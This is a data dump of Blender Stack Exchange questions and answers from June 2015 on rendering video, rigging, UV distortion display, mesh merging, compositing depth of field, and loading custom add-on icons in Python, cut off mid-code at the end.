  <row Id="32311" PostTypeId="1" CreationDate="2015-06-11T22:21:05.040" Score="1" ViewCount="11606" Body="&lt;p&gt;I am working on a video file in Blender. I have saved it as a .blend file already, but I want to save it as an .avi file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I do this? I have watched multiple tutorials and have no idea what to do. I am using Blender 2.74.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="14956" LastActivityDate="2015-06-11T22:40:11.133" Title="How do you export a blender file as an .avi file in Blender 2.74?" Tags="&lt;video&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2015-06-12T02:17:48.353" ContentLicense="CC BY-SA 3.0" />
  <row Id="32312" PostTypeId="1" CreationDate="2015-06-11T22:30:32.480" Score="1" ViewCount="4479" Body="&lt;p&gt;I am a relative noob to Blender. I have started using it to create animations and motion graphics to use for my video projects. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made a trophy in Blender and animated the camera to add some motion to the scene. I have seen how to render to &lt;em&gt;AVI&lt;/em&gt; or &lt;em&gt;MPEG&lt;/em&gt; in Blender Render, but can't find how the optimal way to handle your rendered animation in Cycles render. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I rendered out to PNG's and I have seen some stuff to add the sequence to the video timeline, but after that I am stuck. I guess since I plan to do several short animations for intro slides and effects in my videos I would like to know the &quot;proper or best method&quot; to get the high quality animation into my Magix Video Pro x6 editing program. (They &quot;Magix&quot; advertise on the website to be compatible with Blender AVI files). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So since after I wasted about 40 minutes searching on youtube, google and forums, I am hoping somebody can show me the right method to get my animation into its own video object.  I thank you all in advance... sharing is caring :)&lt;/p&gt;&#xA;" OwnerUserId="14919" LastEditorUserId="894" LastEditDate="2015-06-11T22:44:13.643" LastActivityDate="2016-03-09T13:44:40.930" Title="The process of rendering animation in Cycles Render" Tags="&lt;cycles-render-engine&gt;&lt;animation&gt;&lt;video&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32313" PostTypeId="2" ParentId="32311" CreationDate="2015-06-11T22:40:11.133" Score="0" Body="&lt;p&gt;In order to export your video edit to a new AVI file, you need to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Set your &lt;strong&gt;Render Settings to a movie format that supports AVI&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Click the &lt;strong&gt;Render Animation button&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;As long as you have the Sequence checkbox selected in the Post Processing panel, it should render out your video edit to a new video file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a number of Movie formats that also support the AVI encoding format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They include:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;AVI JPEG&lt;/li&gt;&#xA;&lt;li&gt;AVI Raw&lt;/li&gt;&#xA;&lt;li&gt;H.264 (with AVI format selected)&lt;/li&gt;&#xA;&lt;li&gt;MPEG (with AVI format selected)&lt;/li&gt;&#xA;&lt;li&gt;Xvid (with AVI format selected)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ln4HH.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="894" LastActivityDate="2015-06-11T22:40:11.133" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32314" PostTypeId="2" ParentId="32312" CreationDate="2015-06-11T22:48:37.263" Score="2" Body="&lt;p&gt;You &lt;em&gt;could&lt;/em&gt; render it out to an AVI video file and import it into Magix that way. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my opinion it's &lt;strong&gt;better to render out to an image sequence&lt;/strong&gt; and then import that into Magix. The reason being is you eliminate one phase of video compression that way and Magix has better source material to encode to your final video file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you render out your animation to a series of PNG files (you can set the amount of file compression in the Output settings), Magix should be capable of importing the image sequence into its timeline.&lt;/p&gt;&#xA;" OwnerUserId="894" LastEditorUserId="894" LastEditDate="2015-06-11T22:56:04.637" LastActivityDate="2015-06-11T22:56:04.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32315" PostTypeId="2" ParentId="32218" CreationDate="2015-06-11T22:51:55.467" Score="1" Body="&lt;p&gt;Your mesh is not recognized by blender.It pops an error.&#xA;It seems like it was corrupted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried changing it by deleting all the top vertices(there are also 4 vertices I think a bit missplaced) but even with the basic scaled plane, the same error pops.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a new plane in your file and it worked just fine. I don't know if it is fixable without remaking it from scratch though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This guy here disagrees: &lt;a href=&quot;http://blenderartists.org/forum/archive/index.php/t-288720.html&quot; rel=&quot;nofollow&quot;&gt;same error&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13866" LastActivityDate="2015-06-11T22:51:55.467" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32316" PostTypeId="1" AcceptedAnswerId="46484" CreationDate="2015-06-11T23:55:52.153" Score="1" ViewCount="252" Body="&lt;p&gt;I have a bone and I'm giving it a slight bend for a pole target, and on the right side of this image&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kla4V.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the arm is bent the other way. Its also bending the other way when I move the ik. Help please.&lt;/p&gt;&#xA;" OwnerUserId="9495" LastEditorUserId="3401" LastEditDate="2015-06-12T01:52:15.743" LastActivityDate="2016-02-07T13:58:40.543" Title="Why is this arm bone bending the other way after exiting edit mode?" Tags="&lt;bones&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32319" PostTypeId="2" ParentId="32298" CreationDate="2015-06-12T01:27:32.943" Score="3" Body="&lt;p&gt;If you would like to form a pyramid from particles I recommend that you use keyed physics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/O2xwW.png&quot; alt=&quot;simple&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are my particle settings&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pyramid's particle settings called Initial&#xA;&lt;img src=&quot;https://i.stack.imgur.com/NikcM.png&quot; alt=&quot;partice system of pyramid&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cube's particle settings called Main&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start frame: 1, end frame:100, lifetime: 250&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Gkuyi.png&quot; alt=&quot;particle system of cube 1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5oehd.png&quot; alt=&quot;particle system of cube 2&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9684" LastActivityDate="2015-06-12T01:27:32.943" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32320" PostTypeId="1" CreationDate="2015-06-12T01:28:10.427" Score="1" ViewCount="72" Body="&lt;p&gt;I broke something. I rendered an animation out. Didnt like the final output. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Made Adjustments and tried to just render the single frame to check out the output and see if I was happy. Kept showing old render views not the new one(I have overwrite checked) I got impatient deleted the old camera, inserted a new one, moved all the rendered files out of the temp folder, then tried to re- render in the new view, no. Then  now I get blank alpha channel upon trying to view render. The render view works in 3d view, but not upon actually rendering image. I went into the dope sheet and deleted all key frames, so I got the animation part cleared, but dunno why I cant see the render any more&#xA;&lt;img src=&quot;https://i.stack.imgur.com/vJYlp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14919" LastActivityDate="2016-07-02T18:06:21.000" Title="Image not found may be unpacked or not saved after animation problem" Tags="&lt;rendering&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32321" PostTypeId="2" ParentId="32296" CreationDate="2015-06-12T01:53:02.400" Score="1" Body="&lt;p&gt;There doesn't seem to be an easy way to convert the existing mesh to pure quads without quite a bit of manual intervention.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an alternative way to create a new mesh with quads and keep a reasonable and even UV mapping.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a cylinder with no caps around the dress object &lt;/li&gt;&#xA;&lt;li&gt;Copy the height of the dress to the cylinder so it is exactly the same height&lt;/li&gt;&#xA;&lt;li&gt;Make sure the top and bottom of the cylinder match exactly the top and bottom of the dress Add subsurf mod and shrinkwrap mod (with dress as target) to cylinder Adjust subsurf as desired &lt;/li&gt;&#xA;&lt;li&gt;Apply shrinkwrap modifier Select vertical edge loop at back of&#xA;dress, create seam UV unwrap cylinder object with cylinder projection type &lt;/li&gt;&#xA;&lt;li&gt;Adjust UV map to fit UV image Trim vertices at top and bottom of cylinder&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This may seem like a lot of steps, but it goes quite quickly. Let me know if this helps at at all&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tsqw7.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/x0sGp.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="894" LastActivityDate="2015-06-12T01:53:02.400" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32322" PostTypeId="1" CreationDate="2015-06-12T02:18:16.500" Score="2" ViewCount="129" Body="&lt;p&gt;I have been trying to look this up for a tutorial for the better part of a week, and I've had no manner of luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have two objects - both &quot;cubes&quot; of different dimensions, and I would like to merge them together. One is 4x4x20, the other is 1x20x5. I wish to align a single corner vertex of each object, as if I were bolting a length-wise piece of wood to an upright (which is what I'm trying to model), merging them without having to stretch any individual faces of either object. The entire object will have to move (either one), and I am at a total loss of how to make this happen. Please, someone, tell me what I'm missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simplified screenshot of my desired ending point:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/6X897.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not perfect, because I can't get it to be perfect.&lt;/p&gt;&#xA;" OwnerUserId="14957" LastEditorUserId="14957" LastEditDate="2015-06-12T11:21:58.723" LastActivityDate="2015-06-12T11:21:58.723" Title="Merge object at vertex" Tags="&lt;objects&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32324" PostTypeId="1" AcceptedAnswerId="32379" CreationDate="2015-06-12T04:05:17.687" Score="4" ViewCount="266" Body="&lt;p&gt;I use Linux Mint, and unfortunately, I can't use a lot of the Node Wrangler shortcuts because they conflict with the Operating System shortcuts.  For example, I can't use Lazy Mix because it moves the window instead.  I went inside the Node Wrangler source code and tried to change it to a differnt short cut (which kind of works...) but I still have to release the right mouse button and such.  Can anybody explain how to get around this OR what each of these parameters represent in the Node Wrangler addon?:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Lazy Mix&#xA;(NWLazyMix.bl_idname, 'RIGHTMOUSE', 'PRESS', False, False, True, None, &quot;Lazy Mix&quot;),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Edit: If I can do what gandalf3 suggested in the comments, that would work too.&lt;/p&gt;&#xA;" OwnerUserId="12805" LastEditorUserId="15795" LastEditDate="2017-03-24T03:22:37.807" LastActivityDate="2017-03-24T03:22:37.807" Title="Overriding Node Wrangler Keyboard Shortcuts" Tags="&lt;python&gt;&lt;interface&gt;&lt;add-on&gt;&lt;linux&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32325" PostTypeId="1" AcceptedAnswerId="32331" CreationDate="2015-06-12T04:16:32.403" Score="4" ViewCount="619" Body="&lt;p&gt;I made this teapot: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mMf4y.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;sub&gt; &lt;a href=&quot;http://noemotionhdrs.net/hdrnight.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;HDR &quot;03-19_Night_B&quot;&lt;/a&gt; CC BY-ND 4.0 | &lt;a href=&quot;https://www.flickr.com/photos/33083567@N02/3847614360/in/photostream/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Scratch Texture&lt;/a&gt; CC BY-NC 2.0&lt;/sub&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Offending geometry here:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/1yw3Q.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make where the spout touches the teapot body bevel nicely so that the teapot body smoothly merges into the spout, rather than the spout simply popping out of it.  Any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://drive.google.com/file/d/0B5Rj7h_MP4waUjNvdWJXTGR5YjA/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blend file&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="12805" LastEditorUserId="2217" LastEditDate="2015-06-12T13:17:13.627" LastActivityDate="2015-06-12T13:17:13.627" Title="Nicely merging different extrusions" Tags="&lt;modeling&gt;" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32326" PostTypeId="2" ParentId="32322" CreationDate="2015-06-12T05:12:20.313" Score="1" Body="&lt;p&gt;Select one of the objects in object mode, change the &lt;em&gt;snap element&lt;/em&gt; option from increment to vertex,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0WQfw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press G, hold Ctrl, and move the mouse to the vertex of the other object you want the first object to align to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pNJMp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14937" LastActivityDate="2015-06-12T05:12:20.313" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32328" PostTypeId="1" CreationDate="2015-06-12T06:13:16.840" Score="11" ViewCount="23067" Body="&lt;p&gt;I was wondering if there's an option in blender like that of UV unfold, to be able to see a &quot;heatmap&quot; for UV distribution like red for stretching and blue for too close UVs. I am quite clear of the workflow in UV editor but this is something I have not come across, I know I can apply the checker, but this is more computer displaying the stretching which I think is a handy tool. &lt;/p&gt;&#xA;" OwnerUserId="14930" LastEditorUserId="241" LastEditDate="2015-06-12T11:38:12.867" LastActivityDate="2021-03-23T09:42:52.473" Title="Is there a way to show distribution of UVs as a heat map?" Tags="&lt;uv&gt;" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32329" PostTypeId="2" ParentId="32328" CreationDate="2015-06-12T06:34:35.280" Score="12" Body="&lt;p&gt;Yes there is an option to display UV distortion.&#xA;In the UV/Image Editor while in edit mode hit &lt;kbd&gt;N&lt;/kbd&gt; button to display properties panel and in Display section enable &lt;strong&gt;Stretch.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select &lt;strong&gt;Angle&lt;/strong&gt; to display angular distortion, or &lt;strong&gt;Area&lt;/strong&gt; to display area difference between the UVs and the 3D faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nDywk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-06-12T06:34:35.280" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32330" PostTypeId="2" ParentId="32316" CreationDate="2015-06-12T07:03:32.323" Score="0" Body="&lt;p&gt;In Edit Mode you can add, scale, move, rotate the bones to make it your 'reference' pose armature. In Pose Mode you can rotate, move and scale (but not add) bones, since here you can only change the pose of the armature. So if you switch between Edit Mode and Pose Mode you see different poses, unless you reset the armature:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Pose Mode, if you press &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt; with a bone selected, that bone will be reset (when you select every bone, the complete armature will be reset), according to how the bones are set up in Edit Mode. But I'm not sure if this is what you mean :)&lt;/p&gt;&#xA;" OwnerUserId="14206" LastActivityDate="2015-06-12T07:03:32.323" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32331" PostTypeId="2" ParentId="32325" CreationDate="2015-06-12T07:53:05.030" Score="4" Body="&lt;p&gt;In this case the solidify and the subsurf modifier don't really contribute to the problem, and the texture on the surface is also incidental (ie, not relevant).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main issue is really the abrupt 'non-transition' between the spout and the body. In your case because the object is Lathe-able geometry (you either used a screw modifier or the Spin tool) you could redo the body with more steps to have finer grained geometry for matching up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You had a considerable difference in the size of polygons between the body and the spout and that makes it difficult to match up nicely, this image shows a better match between polygon sizes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9nwan.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Getting the two patches of mesh to match up in a way that would make the merge smooth is not a trivial thing in a polygon modelling tool like Blender. Getting them to approach the same subdivision level is a firs step, but is no guarantee that the end result will be acceptable for close up renders. Regardless it is worth trying.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender has all kinds of tools to help you model intricate details&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;'Vertex Slide'. &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;V&lt;/kbd&gt;, allows you to move a vertex along any connected edge.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;'Knife Project' tool to cut shapes into meshes. Here i've cut the profile of the spout into the Body of the pot to prepare the attempt to merge. (the blue outline of the cutter-mesh is just a Draw Over to help distinguish the meshes involved, it's not part of the tool..)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/0TUwx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you look carefully, this shows the first sign of something we don't want to see. Ngons.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/9R7Wq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now you have two problems, how do you match them up?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eGZNU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As soon as you see hideous geometry like this, you know you are going to have a bad time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7n7CZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even a bevel here will still give unfavourable results, but it may be one realistic way to get an acceptable transition. Adding an EdgeSplit modifier or Subsurf modifier on-top can smooth it out enough to be acceptable for everything except close-ups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/N2IeU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are entire tools/software dedicated to dealing with mesh intersections like this. (&lt;a href=&quot;http://www.groboto.com/v3/Samples/samplemodels/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Groboto&lt;/a&gt;, &lt;a href=&quot;http://meshmixer.com/download.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;MeshMixer&lt;/a&gt;..to name just a few)&#xA;(sorry more to come, hence i'm adding this as community wiki I encourage additional editing)&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-06-12T12:54:42.887" LastActivityDate="2015-06-12T12:54:42.887" CommentCount="0" CommunityOwnedDate="2015-06-12T07:53:05.030" ContentLicense="CC BY-SA 3.0" />
  <row Id="32332" PostTypeId="2" ParentId="32325" CreationDate="2015-06-12T08:06:56.243" Score="0" Body="&lt;p&gt;You can use two methods (that I can think) merge objects and modify the mess manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the merge objects you need to separate the objects and the use the boolean modify with the union operator. But it will have a strange topology after it's applied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DyTbG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way I recommend is to work with the mesh manually.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;First delete the teapot faces:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8B7rd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Then make faces more or less like squares, select edges, that you can select more than 4 at the same time, and press F. Note: it could be better if you first tried to make the main mesh having the same density of the second mesh (subdivide the main mesh) but this will require a lot more work as you will need to create more topology.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Vhgcg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Then you can work with this mesh to adjust more the edges.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OpkmL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="46" LastEditorUserId="46" LastEditDate="2015-06-12T08:15:41.550" LastActivityDate="2015-06-12T08:15:41.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32333" PostTypeId="2" ParentId="32325" CreationDate="2015-06-12T08:08:32.687" Score="2" Body="&lt;p&gt;I would do this way:&#xA;First of all create a hole in your teapot, Alt Right click on an edge of the hole and read in the up right infos the number of vertices selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JgQJZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, still in edit mode, create a circle with the same amount of vertices.&#xA;Alt right click to select the whole circle, Shift Alt right click to select all the vertexes of the hole, Ctrl E &quot;Bridge edge loop&quot; to connect the circle with the teapot.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/CjH6B.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Then extrude, scale, move to complete the mesh as desired.&lt;/p&gt;&#xA;" OwnerUserId="13752" LastActivityDate="2015-06-12T08:08:32.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32334" PostTypeId="1" CreationDate="2015-06-12T08:48:33.477" Score="2" ViewCount="632" Body="&lt;p&gt;I'm trying to get DOF in Compositing from an OpenEXR image with Combined/Alpha/Mist passes. This is the combined pass:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TDBcU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can get DOF by a defocus node using the Mist pass (after a ColorRamp to define better), but I can't set which part of the image is focused and unfocused. (I want the character with the knife to be focused, and not the other character).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VGBjV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I invert the Mist image I can achieve this but the borders aren't unfocused:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QdYCC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any better way to achieve this? FYI I have an alpha pass&lt;img src=&quot;https://i.stack.imgur.com/1LM3O.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="14960" LastActivityDate="2015-06-12T10:11:11.447" Title="Change focus on mist pass for getting DOF in composition" Tags="&lt;cycles-render-engine&gt;&lt;compositor&gt;&lt;depth-of-field&gt;" AnswerCount="1" CommentCount="3" ClosedDate="2015-06-13T15:19:04.430" ContentLicense="CC BY-SA 3.0" />
  <row Id="32335" PostTypeId="1" AcceptedAnswerId="32336" CreationDate="2015-06-12T09:09:10.160" Score="24" ViewCount="7034" Body="&lt;p&gt;Is it possible to use different icons other than the default set and how?&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2021-03-05T10:49:39.450" Title="How to implement custom icons for my script/addon?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="32336" PostTypeId="2" ParentId="32335" CreationDate="2015-06-12T09:09:10.160" Score="35" Body="&lt;p&gt;Since 2.75 the python API allows for custom icons.&lt;/p&gt;&#xA;&lt;p&gt;You can store custom icons and load them with &lt;a href=&quot;https://docs.blender.org/api/current/bpy.utils.previews.html#bpy.utils.previews.ImagePreviewCollection&quot; rel=&quot;nofollow noreferrer&quot;&gt;bpy.utils.previews.ImagePreviewCollection&lt;/a&gt; class, which works like a dictionary.&lt;/p&gt;&#xA;&lt;p&gt;First let's create such icon dictionary:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import bpy.utils.previews&#xA;icons_dict = bpy.utils.previews.new()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Next, we need to find path to our icons. Its best to put them inside a folder named 'icons' next to the script file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import os&#xA;# this will work for addons &#xA;icons_dir = os.path.join(os.path.dirname(__file__), &amp;quot;icons&amp;quot;)&#xA;# but it won't give you usefull path when you opened a file in text editor and hit run.&#xA;# this will work in that case:&#xA;script_path = bpy.context.space_data.text.filepath&#xA;icons_dir = os.path.join(os.path.dirname(script_path), &amp;quot;icons&amp;quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Finally load icon.png into the dictionary. Blender uses 32x32 icons in UI:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;icons_dict.load(&amp;quot;custom_icon&amp;quot;, os.path.join(icons_dir, &amp;quot;icon.png&amp;quot;), 'IMAGE')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Reference the icon by it's ID, use like this inside UI elements:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;icon_value=icons_dict[&amp;quot;custom_icon&amp;quot;].icon_id&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;It's best to handle loading of icons in the &lt;code&gt;register&lt;/code&gt; function, clearing the icons in &lt;code&gt;unregister&lt;/code&gt; function, and storing them in a global variable.&lt;/p&gt;&#xA;&lt;p&gt;If enabled as an addon the filepath of &lt;code&gt;__init__.py&lt;/code&gt; is the module variable &lt;code&gt;__file__&lt;/code&gt; in &lt;code&gt;__init__.py&lt;/code&gt; and as shown can be converted to a directory path using &lt;code&gt;os.path.dirname(__file__)&lt;/code&gt; to get the path to &lt;code&gt;my_addon&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/105979/make-an-add-on-with-multiple-python-files&quot;&gt;Make an add-on with multiple python files&lt;/a&gt; to keep our addon's icons neatly contained in our addon's folder.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;my_addon/&#xA;    __init__.py&#xA;    icons/&#xA;        icon.png&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;To test when running from text editor can  add an icons folder to some known path, for example the Desktop folder&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Desktop/&#xA;    icons/&#xA;        icon.png &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and change the code below accordingly to be its absolute path (in this example case &lt;code&gt;/home/user/Desktop/&lt;/code&gt;), or  the saved path of the text file, or that of the blend file.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;bl_info = {&#xA;    